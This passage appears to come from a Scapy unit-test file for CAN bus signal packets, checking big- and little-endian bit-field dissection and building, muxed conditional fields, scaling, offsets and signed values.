1\nassert pkt.sig1 == 21\nassert pkt.sig2 == 15\nassert pkt.sig3 == 0x7f\nassert pkt.sig4 == 0x1\nassert pkt.sig7 == 0x203\nassert pkt.sig5 == 5\nassert pkt.sig6 == 2\nassert pkt.sig8 == 5\nassert pkt.sig9 == 2\nassert pkt.sig10 == 2\n\n\n= Motorola byte order (Big Endian) build test\n\npkt = testFrame1()\npkt.sig0 = 1\npkt.sig1 = 21\npkt.sig2 = 15\npkt.sig3 = 0x7f\npkt.sig4 = 0x1\npkt.sig7 = 0x203\npkt.sig5 = 5\npkt.sig6 = 2\npkt.sig8 = 5\npkt.sig9 = 2\npkt.sig10 = 2\n\ntest = bytes(pkt)\nassert bytes(test) == b'U\\x01\\xe0\\xfe\\x01\\x80\\xd5\\x95'\n\n\n= Motorola byte order (Big Endian) dissect test with mixed field order\n\nclass testFrame1(SignalPacket):\n    fields_desc = [\n        SignalField(\"sig10\", default=0, start=63, size=2, fmt=\">B\"),\n        SignalField(\"sig0\", default=0, start=1, size=2, fmt=\">B\"),\n        SignalField(\"sig9\", default=0, start=61, size=3, fmt=\">B\"),\n        SignalField(\"sig5\", default=0, start=50, size=3, fmt=\">B\"),\n        SignalField(\"sig4\", default=0, start=24, size=9, fmt=\">B\"),\n        SignalField(\"sig7\", default=0, start=47, size=10, fmt=\">B\"),\n        SignalField(\"sig3\", default=0, start=20, size=12, fmt=\">B\"),\n        SignalField(\"sig6\", default=0, start=53, size=3, fmt=\">B\"),\n        SignalField(\"sig2\", default=0, start=15, size=11, fmt=\">B\"),\n        SignalField(\"sig8\", default=0, start=58, size=3, fmt=\">B\"),\n        SignalField(\"sig1\", default=0, start=7, size=6, fmt=\">B\"),\n    ]\n\npkt = testFrame1(struct.pack(\"<Q\", int(\"10010101\" # byte 7: 63 - 56\n                                       \"11010101\" \n                                       \"10000000\" \n                                       \"00000001\" \n                                       \"11111110\"\n                                       \"11100000\"\n                                       \"00000001\"\n                                       \"01010101\",2))) # byte 0: 7 - 0\nassert pkt.sig0 == 1\nassert pkt.sig1 == 21\nassert pkt.sig2 == 15\nassert pkt.sig3 == 0x7f\nassert pkt.sig4 == 0x1\nassert pkt.sig7 == 0x203\nassert pkt.sig5 == 5\nassert pkt.sig6 == 2\nassert pkt.sig8 == 5\nassert pkt.sig9 == 2\nassert pkt.sig10 == 2\n\n\n= Motorola byte order (Big Endian) build test with mixed field order\n\nclass testFrame1(SignalPacket):\n    fields_desc = [\n        SignalField(\"sig3\", default=0, start=20, size=12, fmt=\">B\"),\n        SignalField(\"sig4\", default=0, start=24, size=9, fmt=\">B\"),\n        SignalField(\"sig10\", default=0, start=63, size=2, fmt=\">B\"),\n        SignalField(\"sig2\", default=0, start=15, size=11, fmt=\">B\"),\n        SignalField(\"sig5\", default=0, start=50, size=3, fmt=\">B\"),\n        SignalField(\"sig1\", default=0, start=7, size=6, fmt=\">B\"),\n        SignalField(\"sig6\", default=0, start=53, size=3, fmt=\">B\"),\n        SignalField(\"sig7\", default=0, start=47, size=10, fmt=\">B\"),\n        SignalField(\"sig9\", default=0, start=61, size=3, fmt=\">B\"),\n        SignalField(\"sig0\", default=0, start=1, size=2, fmt=\">B\"),\n        SignalField(\"sig8\", default=0, start=58, size=3, fmt=\">B\"),\n    ]\n\npkt = testFrame1()\npkt.sig0 = 1\npkt.sig1 = 21\npkt.sig2 = 15\npkt.sig3 = 0x7f\npkt.sig4 = 0x1\npkt.sig7 = 0x203\npkt.sig5 = 5\npkt.sig6 = 2\npkt.sig8 = 5\npkt.sig9 = 2\npkt.sig10 = 2\n\ntest = bytes(pkt)\nprint(test)\nassert bytes(test) == b'U\\x01\\xe0\\xfe\\x01\\x80\\xd5\\x95'\n\n\n= Intel byte order (Little Endian) dissect test\n\nclass testFrame2(SignalPacket):\n    fields_desc = [\n        SignalField(\"secSig12\", default=0, start=0, size=8, fmt=\"<B\"),\n        SignalField(\"secSig10\", default=0, start=8, size=12, fmt=\"<B\"),\n        SignalField(\"secSig3\",  default=0, start=20, size=4, fmt=\"<B\"),\n        SignalField(\"secSig11\", default=0, start=24, size=10, fmt=\"<B\"),\n        SignalField(\"secSig5\",  default=0, start=34, size=3, fmt=\"<B\"),\n        SignalField(\"secSig6\",  default=0, start=37, size=3, fmt=\"<B\"),\n        SignalField(\"secSig9\",  default=0, start=52, size=3, fmt=\"<B\"),\n        SignalField(\"secSig2\",  default=0, start=55, size=1, fmt=\"<B\"),\n        SignalField(\"secSig8\",  default=0, start=56, size=3, fmt=\"<B\"),\n        SignalField(\"secSig7\",  default=0, start=59, size=1, fmt=\"<B\"),\n        SignalField(\"secSig1\",  default=0, start=60, size=2, fmt=\"<B\"),\n        SignalField(\"secSig4\",  default=0, start=62, size=2, fmt=\"<B\"),\n    ]\n\npkt = testFrame2(b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff')\nassert pkt.secSig1 == 0x3\nassert pkt.secSig2 == 0x1\nassert pkt.secSig3 == 0xf\nassert pkt.secSig4 == 0x3\nassert pkt.secSig7 == 0x1\nassert pkt.secSig5 == 7\nassert pkt.secSig6 == 7\nassert pkt.secSig8 == 7\nassert pkt.secSig9 == 7\nassert pkt.secSig10 == 0xfff\nassert pkt.secSig11 == 0x3ff\nassert pkt.secSig12 == 0xff\n\n\npkt = testFrame2(struct.pack(\"<Q\", int(\"10010101\" # byte 7: 63 - 56\n                                       \"11010101\" \n                                       \"10000000\" \n                                       \"00000001\" \n                                       \"11111110\"\n                                       \"11100000\"\n                                       \"00000001\"\n                                       \"10100101\",2))) # byte 0: 7 - 0\n\nassert pkt.secSig1 == 0x1\nassert pkt.secSig2 == 0x1\nassert pkt.secSig3 == 0xe\nassert pkt.secSig4 == 0x2\nassert pkt.secSig7 == 0x0\nassert pkt.secSig5 == 0\nassert pkt.secSig6 == 0\nassert pkt.secSig8 == 5\nassert pkt.secSig9 == 5\nassert pkt.secSig10 == 1\nassert pkt.secSig11 == 0x1fe\nassert pkt.secSig12 == 0xA5\n\n= Intel byte order (Little Endian) build test\n\npkt = testFrame2()\n\npkt.secSig12 = 0xA5\npkt.secSig10 = 1\npkt.secSig3 = 14\npkt.secSig11 = 0x1fe\npkt.secSig5 = 0\npkt.secSig6 = 0\npkt.secSig9 = 5\npkt.secSig2 = 1\npkt.secSig8 = 5\npkt.secSig7 = 0\npkt.secSig1 = 1\npkt.secSig4 = 2\n\nassert bytes(pkt) == b'\\xa5\\x01\\xe0\\xfe\\x01\\x00\\xd0\\x95'\n\n\n= Intel byte order (Little Endian) build test with mixed field order\n\nclass testFrame2(SignalPacket):\n    fields_desc = [\n        SignalField(\"secSig1\",  default=0, start=60, size=2, fmt=\"<B\"),\n        SignalField(\"secSig12\", default=0, start=0, size=8, fmt=\"<B\"),\n        SignalField(\"secSig2\",  default=0, start=55, size=1, fmt=\"<B\"),\n        SignalField(\"secSig3\",  default=0, start=20, size=4, fmt=\"<B\"),\n        SignalField(\"secSig5\",  default=0, start=34, size=3, fmt=\"<B\"),\n        SignalField(\"secSig9\",  default=0, start=52, size=3, fmt=\"<B\"),\n        SignalField(\"secSig8\",  default=0, start=56, size=3, fmt=\"<B\"),\n        SignalField(\"secSig11\", default=0, start=24, size=10, fmt=\"<B\"),\n        SignalField(\"secSig7\",  default=0, start=59, size=1, fmt=\"<B\"),\n        SignalField(\"secSig6\",  default=0, start=37, size=3, fmt=\"<B\"),\n        SignalField(\"secSig10\", default=0, start=8, size=12, fmt=\"<B\"),\n        SignalField(\"secSig4\",  default=0, start=62, size=2, fmt=\"<B\"),\n    ]\n\npkt = testFrame2()\n\npkt.secSig12 = 0xA5\npkt.secSig10 = 1\npkt.secSig3 = 14\npkt.secSig11 = 0x1fe\npkt.secSig5 = 0\npkt.secSig6 = 0\npkt.secSig9 = 5\npkt.secSig2 = 1\npkt.secSig8 = 5\npkt.secSig7 = 0\npkt.secSig1 = 1\npkt.secSig4 = 2\n\nassert bytes(pkt) == b'\\xa5\\x01\\xe0\\xfe\\x01\\x00\\xd0\\x95'\n\n\n= Intel byte order (Little Endian) build test with short package\n\nclass testFrame2(SignalPacket):\n    fields_desc = [\n        SignalField(\"secSig12\", default=0, start=0, size=8, fmt=\"<B\"),\n        SignalField(\"secSig3\",  default=0, start=20, size=4, fmt=\"<B\"),\n        SignalField(\"secSig11\", default=0, start=24, size=10, fmt=\"<B\"),\n        SignalField(\"secSig10\", default=0, start=8, size=12, fmt=\"<B\"),\n    ]\n\npkt = testFrame2()\n\npkt.secSig12 = 0xA5\npkt.secSig10 = 1\npkt.secSig3 = 14\npkt.secSig11 = 0x1fe\n\nassert bytes(pkt) == b'\\xa5\\x01\\xe0\\xfe\\x01'\nassert len(pkt) == 5\n\npkt.secSig11 = 0x0fe\n\nassert bytes(pkt) == b'\\xa5\\x01\\xe0\\xfe\\x00'\nassert len(pkt) == 5\n\n= Packet with mixed endianness fields build test\n\nclass testFrame3(SignalPacket):\n    fields_desc = [\n        SignalField(\"myMuxer\", default=0, start=53, size=3, fmt=\"<B\"),\n        SignalField(\"muxSig5\", default=0, start=22, size=7, fmt=\"<B\"),\n        SignalField(\"muxSig6\", default=0, start=32, size=9, fmt=\"<B\"),\n        SignalField(\"muxSig7\", default=0, start=2, size=8, fmt=\">B\"),\n        SignalField(\"muxSig8\", default=0, start=3, size=3, fmt=\"<B\"),\n        SignalField(\"muxSig9\", default=0, start=41, size=7, fmt=\"<B\"),\n    ]\n\npkt = testFrame3()\n\npkt.myMuxer = 0x7\npkt.muxSig5 = 0x72\npkt.muxSig6 = 0x10f\npkt.muxSig7 = 0xA5\npkt.muxSig8 = 0x03\npkt.muxSig9 = 0x11\n\nassert bytes(pkt) == b'\\x1d\\x28\\x80\\x1c\\x0f\\x23\\xe0'\nassert len(pkt) == 7\n\n= Muxed Packet with mixed endianness fields build test\n\nclass testFrame3(SignalPacket):\n    fields_desc = [\n        SignalField(\"myMuxer\", default=0, start=53, size=3, fmt=\"<B\"),\n        ConditionalField(SignalField(\"muxSig5\", default=0, start=22, size=7, fmt=\"<B\"), lambda p: p.myMuxer == 1),\n        ConditionalField(SignalField(\"muxSig6\", default=0, start=32, size=9, fmt=\"<B\"), lambda p: p.myMuxer == 1),\n        ConditionalField(SignalField(\"muxSig7\", default=0, start=2, size=8, fmt=\">B\"), lambda p: p.myMuxer == 0),\n        ConditionalField(SignalField(\"muxSig8\", default=0, start=3, size=3, fmt=\"<B\"), lambda p: p.myMuxer == 0),\n        ConditionalField(SignalField(\"muxSig9\", default=0, start=41, size=7, fmt=\"<B\"), lambda p: p.myMuxer == 1)\n    ]\n\npkt = testFrame3()\n\npkt.myMuxer = 0x0\npkt.muxSig5 = 0x72\npkt.muxSig6 = 0x10f\npkt.muxSig7 = 0xA5\npkt.muxSig8 = 0x03\npkt.muxSig9 = 0x11\n\nassert bytes(pkt) == b'\\x1d\\x28\\x00\\x00\\x00\\x00\\x00'\nassert len(pkt) == 7\n\npkt.myMuxer = 0x1\n\nassert bytes(pkt) == b'\\x00\\x00\\x80\\x1c\\x0f\\x23\\x20'\nassert len(pkt) == 7\n\n= Muxed Packet build test\n\nclass testFrame3(SignalPacket):\n    fields_desc = [\n        SignalField(\"myMuxer\", default=0, start=0, size=8, fmt=\"<B\"),\n        ConditionalField(SignalField(\"muxSig5\", default=0, start=8, size=8, fmt=\"<B\"), lambda p: p.myMuxer == 1),\n        ConditionalField(SignalField(\"muxSig6\", default=0, start=8, size=16, fmt=\"<B\"), lambda p: p.myMuxer == 0),\n        ConditionalField(SignalField(\"muxSig7\", default=0, start=16, size=8, fmt=\"<B\"), lambda p: p.myMuxer == 1),\n        ConditionalField(SignalField(\"muxSig8\", default=0, start=24, size=8, fmt=\"<B\"), lambda p: p.myMuxer == 0),\n        ConditionalField(SignalField(\"muxSig9\", default=0, start=32, size=8, fmt=\"<B\"), lambda p: p.myMuxer == 0)\n    ]\n\npkt = testFrame3(b'\\x01\\xff\\xff\\xff\\xff\\xff\\xff')\n\nassert pkt.myMuxer == 0x1\nassert pkt.muxSig5 == 0xff\nassert pkt.muxSig7 == 0xff\n\npkt = testFrame3(b'\\x00\\xff\\xff\\xff\\xff\\xff\\xff')\n\nassert pkt.myMuxer == 0x0\nassert pkt.muxSig6 == 0xffff\nassert pkt.muxSig8 == 0xff\nassert pkt.muxSig9 == 0xff\n\npkt = testFrame3()\npkt.myMuxer = 0x1\npkt.muxSig5 = 0xaa\npkt.muxSig7 = 0xaa\n\nassert bytes(pkt) == b'\\x01\\xaa\\xaa'\nassert len(pkt) == 3\n\npkt = testFrame3()\npkt.myMuxer = 0x0\npkt.muxSig5 = 0xaa\npkt.muxSig6 = 0xbb\npkt.muxSig7 = 0xaa\npkt.muxSig8 = 0xbb\npkt.muxSig9 = 0xbb\n\nassert bytes(pkt) == b'\\x00\\xbb\\x00\\xbb\\xbb'\nassert len(pkt) == 5\n\n= SignalHeader Muxed Packet build test\n\nconf.contribs['CAN']['swap-bytes'] = False\n\nclass testFrame3(SignalPacket):\n    fields_desc = [\n        SignalField(\"myMuxer\", default=0, start=0, size=8, fmt=\"<B\"),\n        ConditionalField(SignalField(\"muxSig5\", default=0, start=8, size=8, fmt=\"<B\"), lambda p: p.myMuxer == 1),\n        ConditionalField(SignalField(\"muxSig6\", default=0, start=8, size=16, fmt=\"<B\"), lambda p: p.myMuxer == 0),\n        ConditionalField(SignalField(\"muxSig7\", default=0, start=16, size=8, fmt=\"<B\"), lambda p: p.myMuxer == 1),\n        ConditionalField(SignalField(\"muxSig8\", default=0, start=24, size=8, fmt=\"<B\"), lambda p: p.myMuxer == 0),\n        ConditionalField(SignalField(\"muxSig9\", default=0, start=32, size=8, fmt=\"<B\"), lambda p: p.myMuxer == 0)\n    ]\n\nbind_layers(SignalHeader, testFrame3, identifier=0x123)\n\npkt = SignalHeader(b'\\x00\\x00\\x01#\\x00\\x00\\x00\\x00\\x01\\xff\\xff\\xff\\xff\\xff\\xff')\n\nassert pkt.myMuxer == 0x1\nassert pkt.muxSig5 == 0xff\nassert pkt.muxSig7 == 0xff\n\npkt = SignalHeader(b'\\x00\\x00\\x01#\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff')\n\nassert pkt.myMuxer == 0x0\nassert pkt.muxSig6 == 0xffff\nassert pkt.muxSig8 == 0xff\nassert pkt.muxSig9 == 0xff\n\npkt = SignalHeader()/testFrame3()\npkt.myMuxer = 0x1\npkt.muxSig5 = 0xaa\npkt.muxSig7 = 0xaa\n\nassert bytes(pkt) == b'\\x00\\x00\\x01#\\x03\\x00\\x00\\x00\\x01\\xaa\\xaa'\nassert len(pkt) == 8 + 3\n\npkt = SignalHeader()/testFrame3()\npkt.myMuxer = 0x0\npkt.muxSig5 = 0xaa\npkt.muxSig6 = 0xbb\npkt.muxSig7 = 0xaa\npkt.muxSig8 = 0xbb\npkt.muxSig9 = 0xbb\n\nassert bytes(pkt) == b'\\x00\\x00\\x01#\\x05\\x00\\x00\\x00\\x00\\xbb\\x00\\xbb\\xbb'\nassert len(pkt) == 8 + 5\n\n= Intel byte order (Little Endian) SignalPacket dissect test\n\nclass testFrame2(SignalPacket):\n    fields_desc = [\n        SignalField(\"secSig12\", default=0, start=0, size=8, fmt=\"<B\"),\n        SignalField(\"secSig10\", default=0, start=8, size=12, fmt=\"<B\"),\n        SignalField(\"secSig3\",  default=0, start=20, size=4, fmt=\"<B\"),\n        SignalField(\"secSig11\", default=0, start=24, size=10, fmt=\"<B\"),\n        SignalField(\"secSig5\",  default=0, start=34, size=3, fmt=\"<B\"),\n        SignalField(\"secSig6\",  default=0, start=37, size=3, fmt=\"<B\"),\n        SignalField(\"secSig9\",  default=0, start=52, size=3, fmt=\"<B\"),\n        SignalField(\"secSig2\",  default=0, start=55, size=1, fmt=\"<B\"),\n        SignalField(\"secSig8\",  default=0, start=56, size=3, fmt=\"<B\"),\n        SignalField(\"secSig7\",  default=0, start=59, size=1, fmt=\"<B\"),\n        SignalField(\"secSig1\",  default=0, start=60, size=2, fmt=\"<B\"),\n        SignalField(\"secSig4\",  default=0, start=62, size=2, fmt=\"<B\"),\n    ]\n\npkt = testFrame2(b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff')\nassert pkt.secSig1 == 0x3\nassert pkt.secSig2 == 0x1\nassert pkt.secSig3 == 0xf\nassert pkt.secSig4 == 0x3\nassert pkt.secSig7 == 0x1\nassert pkt.secSig5 == 7\nassert pkt.secSig6 == 7\nassert pkt.secSig8 == 7\nassert pkt.secSig9 == 7\nassert pkt.secSig10 == 0xfff\nassert pkt.secSig11 == 0x3ff\nassert pkt.secSig12 == 0xff\n\nassert len(pkt) == 8\n\npkt = testFrame2(struct.pack(\"<Q\", int(\"10010101\" # byte 7: 63 - 56\n                                       \"11010101\" \n                                       \"10000000\" \n                                       \"00000001\" \n                                       \"11111110\"\n                                       \"11100000\"\n                                       \"00000001\"\n                                       \"10100101\",2))) # byte 0: 7 - 0\n\nassert pkt.secSig1 == 0x1\nassert pkt.secSig2 == 0x1\nassert pkt.secSig3 == 0xe\nassert pkt.secSig4 == 0x2\nassert pkt.secSig7 == 0x0\nassert pkt.secSig5 == 0\nassert pkt.secSig6 == 0\nassert pkt.secSig8 == 5\nassert pkt.secSig9 == 5\nassert pkt.secSig10 == 1\nassert pkt.secSig11 == 0x1fe\nassert pkt.secSig12 == 0xA5\n\nassert len(pkt) == 8\n\n\n= Intel byte order (Little Endian) short SignalPacket dissect test\n\nclass testFrame2(SignalPacket):\n    fields_desc = [\n        SignalField(\"secSig12\", default=0, start=0, size=8, fmt=\"<B\"),\n        SignalField(\"secSig10\", default=0, start=8, size=12, fmt=\"<B\"),\n        SignalField(\"secSig3\",  default=0, start=20, size=4, fmt=\"<B\"),\n        SignalField(\"secSig11\", default=0, start=24, size=10, fmt=\"<B\"),\n        SignalField(\"secSig5\",  default=0, start=34, size=3, fmt=\"<B\"),\n        SignalField(\"secSig6\",  default=0, start=37, size=3, fmt=\"<B\"),\n    ]\n\npkt = testFrame2(b'\\xff\\xff\\xff\\xff\\xff')\nassert pkt.secSig3 == 0xf\nassert pkt.secSig5 == 7\nassert pkt.secSig6 == 7\nassert pkt.secSig10 == 0xfff\nassert pkt.secSig11 == 0x3ff\nassert pkt.secSig12 == 0xff\n\nassert len(pkt) == 5\n\npkt = testFrame2(struct.pack(\"<Q\", int(\"00000001\" \n                                       \"11111110\"\n                                       \"11100000\"\n                                       \"00000001\"\n                                       \"10100101\",2))[0:5])\n\nassert pkt.secSig3 == 0xe\nassert pkt.secSig5 == 0\nassert pkt.secSig6 == 0\nassert pkt.secSig10 == 1\nassert pkt.secSig11 == 0x1fe\nassert pkt.secSig12 == 0xA5\n\nassert len(pkt) == 5\n\n= Intel byte order (Little Endian) short SignalPacket dissect test mixed field order\n\nclass testFrame2(SignalPacket):\n    fields_desc = [\n        SignalField(\"secSig3\",  default=0, start=20, size=4, fmt=\"<B\"),\n        SignalField(\"secSig6\",  default=0, start=37, size=3, fmt=\"<B\"),\n        SignalField(\"secSig11\", default=0, start=24, size=10, fmt=\"<B\"),\n        SignalField(\"secSig10\", default=0, start=8, size=12, fmt=\"<B\"),\n        SignalField(\"secSig5\",  default=0, start=34, size=3, fmt=\"<B\"),\n        SignalField(\"secSig12\", default=0, start=0, size=8, fmt=\"<B\"),\n    ]\n\npkt = testFrame2(b'\\xff\\xff\\xff\\xff\\xff')\nassert pkt.secSig3 == 0xf\nassert pkt.secSig5 == 7\nassert pkt.secSig6 == 7\nassert pkt.secSig10 == 0xfff\nassert pkt.secSig11 == 0x3ff\nassert pkt.secSig12 == 0xff\n\nassert len(pkt) == 5\n\npkt = testFrame2(struct.pack(\"<Q\", int(\"00000001\" \n                                       \"11111110\"\n                                       \"11100000\"\n                                       \"00000001\"\n                                       \"10100101\",2))[0:5])\n\nassert pkt.secSig3 == 0xe\nassert pkt.secSig5 == 0\nassert pkt.secSig6 == 0\nassert pkt.secSig10 == 1\nassert pkt.secSig11 == 0x1fe\nassert pkt.secSig12 == 0xA5\n\nassert len(pkt) == 5\n\n\n= Packet with mixed endianness fields build test\n\nclass testFrame3(SignalPacket):\n    fields_desc = [\n        SignalField(\"myMuxer\", default=0, start=53, size=3, fmt=\"<B\"),\n        SignalField(\"muxSig5\", default=0, start=22, size=7, fmt=\"<B\"),\n        SignalField(\"muxSig6\", default=0, start=32, size=9, fmt=\"<B\"),\n        SignalField(\"muxSig7\", default=0, start=2, size=8, fmt=\">B\"),\n        SignalField(\"muxSig8\", default=0, start=3, size=3, fmt=\"<B\"),\n        SignalField(\"muxSig9\", default=0, start=41, size=7, fmt=\"<B\"),\n    ]\n\npkt = testFrame3()\n\npkt.myMuxer = 0x7\npkt.muxSig5 = 0x72\npkt.muxSig6 = 0x10f\npkt.muxSig7 = 0xA5\npkt.muxSig8 = 0x03\npkt.muxSig9 = 0x11\n\nassert bytes(pkt) == b'\\x1d\\x28\\x80\\x1c\\x0f\\x23\\xe0'\nassert len(pkt) == 7\n\n\n= Packet with mixed endianness fields build test, mixed field order\n\nclass testFrame3(SignalPacket):\n    fields_desc = [\n        SignalField(\"myMuxer\", default=0, start=53, size=3, fmt=\"<B\"),\n        SignalField(\"muxSig9\", default=0, start=41, size=7, fmt=\"<B\"),\n        SignalField(\"muxSig6\", default=0, start=32, size=9, fmt=\"<B\"),\n        SignalField(\"muxSig7\", default=0, start=2, size=8, fmt=\">B\"),\n        SignalField(\"muxSig8\", default=0, start=3, size=3, fmt=\"<B\"),\n        SignalField(\"muxSig5\", default=0, start=22, size=7, fmt=\"<B\"),\n    ]\n\npkt = testFrame3()\n\npkt.myMuxer = 0x7\npkt.muxSig5 = 0x72\npkt.muxSig6 = 0x10f\npkt.muxSig7 = 0xA5\npkt.muxSig8 = 0x03\npkt.muxSig9 = 0x11\n\nassert bytes(pkt) == b'\\x1d\\x28\\x80\\x1c\\x0f\\x23\\xe0'\nassert len(pkt) == 7\n\n= Packet with mixed endianness fields dissect test, mixed field order\n\npkt = testFrame3(b'\\x1d\\x28\\x80\\x1c\\x0f\\x23\\xe0')\nassert len(pkt) == 7\nassert pkt.myMuxer == 0x7\nassert pkt.muxSig5 == 0x72\nassert pkt.muxSig6 == 0x10f\nassert pkt.muxSig7 == 0xA5\nassert pkt.muxSig8 == 0x03\nassert pkt.muxSig9 == 0x11\n\n\n= Packet with mixed endianness fields dissect test, mixed field order and scaling\n\nclass testFrame3(SignalPacket):\n    fields_desc = [\n        SignalField(\"myMuxer\", default=0, start=53, size=3, scaling=0.1, fmt=\"<B\"),\n        SignalField(\"muxSig9\", default=0, start=41, size=7, scaling=100, fmt=\"<B\"),\n        SignalField(\"muxSig6\", default=0, start=32, size=9, scaling=2, fmt=\"<B\"),\n        SignalField(\"muxSig7\", default=0, start=2, size=8, scaling=0.5, fmt=\">B\"),\n        SignalField(\"muxSig8\", default=0, start=3, size=3, scaling=10, fmt=\"<B\"),\n        SignalField(\"muxSig5\", default=0, start=22, size=7, scaling=0.01, fmt=\"<B\"),\n    ]\n\npkt = testFrame3(b'\\x1d\\x28\\x80\\x1c\\x0f\\x23\\xe0')\nassert len(pkt) == 7\nassert pkt.myMuxer == 0.7\nassert pkt.muxSig5 == 1.14\nassert pkt.muxSig6 == 0x10f << 1\nassert pkt.muxSig7 == 82.5\nassert pkt.muxSig8 == 30\nassert pkt.muxSig9 == 1700\n\n= Packet with mixed endianness fields dissect test, mixed field order and scaling\n\nclass testFrame3(SignalPacket):\n    fields_desc = [\n        SignalField(\"myMuxer\", default=0, start=53, size=3, scaling=0.1, fmt=\"<B\"),\n        SignalField(\"muxSig9\", default=0, start=41, size=7, scaling=100, fmt=\"<B\"),\n        SignalField(\"muxSig6\", default=0, start=32, size=9, scaling=2, fmt=\"<B\"),\n        SignalField(\"muxSig7\", default=0, start=2, size=8, scaling=0.5, fmt=\">B\"),\n        SignalField(\"muxSig8\", default=0, start=3, size=3, scaling=10, fmt=\"<B\"),\n        SignalField(\"muxSig5\", default=0, start=22, size=7, scaling=0.01, fmt=\"<B\"),\n    ]\n\npkt = testFrame3(b'\\x1d\\x28\\x80\\x1c\\x0f\\x23\\xe0')\nassert len(pkt) == 7\nassert pkt.myMuxer == 0.7\nassert pkt.muxSig5 == 1.14\nassert pkt.muxSig6 == 0x10f << 1\nassert pkt.muxSig7 == 82.5\nassert pkt.muxSig8 == 30\nassert pkt.muxSig9 == 1700\n\n\n\n= Packet with mixed endianness fields dissect test, mixed field order and scaling and offset\n\nclass testFrame3(SignalPacket):\n    fields_desc = [\n        SignalField(\"myMuxer\", default=0, start=53, size=3, scaling=0.1, offset=5, fmt=\"<B\"),\n        SignalField(\"muxSig9\", default=0, start=41, size=7, scaling=100, offset=1, fmt=\"<B\"),\n        SignalField(\"muxSig6\", default=0, start=32, size=9, scaling=2, offset=-10, fmt=\"<B\"),\n        SignalField(\"muxSig7\", default=0, start=2, size=8, scaling=0.5, offset=0.1, fmt=\">B\"),\n        SignalField(\"muxSig8\", default=0, start=3, size=3, scaling=10, offset=100, fmt=\"<B\"),\n        SignalField(\"muxSig5\", default=0, start=22, size=7, scaling=0.01, fmt=\"<B\"),\n    ]\n\npkt = testFrame3(b'\\x1d\\x28\\x80\\x1c\\x0f\\x23\\xe0')\nassert len(pkt) == 7\nassert pkt.myMuxer == 5.7\nassert pkt.muxSig5 == 1.14\nassert pkt.muxSig6 == 532\nassert pkt.muxSig7 == 82.6\nassert pkt.muxSig8 == 130\nassert pkt.muxSig9 == 1701\n\n\n= Packet with mixed endianness fields dissect test, mixed field order and scaling and offset\n\nclass testFrame3(SignalPacket):\n    fields_desc = [\n        LEUnsignedSignalField(\"myMuxer\", default=0, start=53, size=3, scaling=0.1, offset=5),\n        LEUnsignedSignalField(\"muxSig9\", default=0, start=41, size=7, scaling=100, offset=1),\n        LEUnsignedSignalField(\"muxSig6\", default=0, start=32, size=9, scaling=2, offset=-10),\n        BEUnsignedSignalField(\"muxSig7\", default=0, start=2, size=8, scaling=0.5, offset=0.1),\n        LEUnsignedSignalField(\"muxSig8\", default=0, start=3, size=3, scaling=10, offset=100),\n        LEUnsignedSignalField(\"muxSig5\", default=0, start=22, size=7, scaling=0.01),\n    ]\n\npkt = testFrame3(b'\\x1d\\x28\\x80\\x1c\\x0f\\x23\\xe0')\nassert len(pkt) == 7\nassert pkt.myMuxer == 5.7\nassert pkt.muxSig5 == 1.14\nassert pkt.muxSig6 == 532\nassert pkt.muxSig7 == 82.6\nassert pkt.muxSig8 == 130\nassert pkt.muxSig9 == 1701\n\n\n= Packet with mixed endianness fields dissect test, mixed field order and scaling with signed values\n\nclass testFrame3(SignalPacket):\n    fields_desc = [\n        SignalField(\"myMuxer\", default=0, start=53, size=3, scaling=0.1, fmt=\"<B\"),\n        SignalField(\"muxSig9\", default=0, start=41, size=7, scaling=100, fmt=\"<B\"),\n        SignalField(\"muxSig6\", default=0, start=32, size=9, scaling=2, fmt=\"<B\"),\n        SignalField(\"muxSig7\", default=0, start=2, size=8, scaling=0.5, fmt=\">b\"),\n        SignalField(\"muxSig8\", default=0, start=3, size=3, scaling=10, fmt=\"<b\"),\n        SignalField(\"muxSig5\", default=0, start=22, size=7, scaling=0.01, fmt=\"<b\"),\n    ]\n\npkt = testFrame3(b'\\x1d\\x28\\x80\\x1c\\x0f\\x23\\xe0')\nassert len(pkt) == 7\nassert pkt.myMuxer == 0.7\nassert pkt.muxSig5 == -0.14\nassert pkt.muxSig6 == 0x10f << 1\nassert pkt.muxSig7 == -45.5\nassert pkt.muxSig8 == 30\nassert pkt.muxSig9 == 1700\n\n\n= Packet with mixed endianness fields dissect test, mixed field order and scaling with signed values\n\nclass testFrame3(SignalPacket):\n    fields_desc = [\n        LEUnsignedSignalField(\"myMuxer\", default=0, start=53, size=3, scaling=0.1),\n        LEUnsignedSignalField(\"muxSig9\", default=0, start=41, size=7, scaling=100),\n        LEUnsignedSignalField(\"muxSig6\", default=0, start=32, size=9, scaling=2),\n        BESignedSignalField(\"muxSig7\", default=0, start=2, size=8, scaling=0.5),\n        LESignedSignalField(\"muxSig8\", default=0, start=3, size=3, scaling=10),\n        LESignedSignalField(\"muxSig5\", default=0, start=22, size=7, scaling=0.01),\n    ]\n\npkt = testFrame3(b'\\x1d\\x28\\x80\\x1c\\x0f\\x23\\xe0')\nassert len(pkt) == 7\nassert pkt.myMuxer == 0.7\nassert pkt.muxSig5 == -0.14\nassert pkt.muxSig6 == 0x10f << 1\nassert pkt.muxSig7 == -45.5\nassert pkt.muxSig8 == 30\nassert pkt.muxSig9 == 1700\n\n\n\n= Packet with big endianness signals\n\nclass testFrame4(SignalPacket):\n    fields_desc = [\n        SignalField(\"sig0\", default=0, start=1, size=2, fmt=\">B\"),\n        SignalField(\"sig1\", default=0, start=7, size=6, fmt=\">B\"),\n        SignalField(\"sig2\", default=0, start=15, size=11, fmt=\">B\"),\n        SignalField(\"sig3\", default=0, start=20, size=12, fmt=\">B\"),\n        SignalField(\"sig4\", default=0, start=24, size=9, fmt=\">B\"),\n        SignalField(\"sig5\", default=0, start=50, size=3, fmt=\">B\"),\n        SignalField(\"sig6\", default=0, start=53, size=3, fmt=\">B\"),\n        SignalField(\"sig7\", default=0, start=47, size=10, fmt=\">B\"),\n        SignalField(\"sig8\", default=0, start=58, size=3, fmt=\">B\"),\n        SignalField(\"sig9\", default=0, start=61, size=3, fmt=\">B\"),\n        SignalField(\"sig10\", default=0, start=63, size=2, fmt=\">B\")\n    ]\n\npkt = testFrame4()\n\npkt.sig0 = 1\npkt.sig1 = 35\npkt.sig2 = 0\npkt.sig3 = 2048\npkt.sig4 = 256\npkt.sig5 = 1\npkt.sig6 = 0\npkt.sig7 = 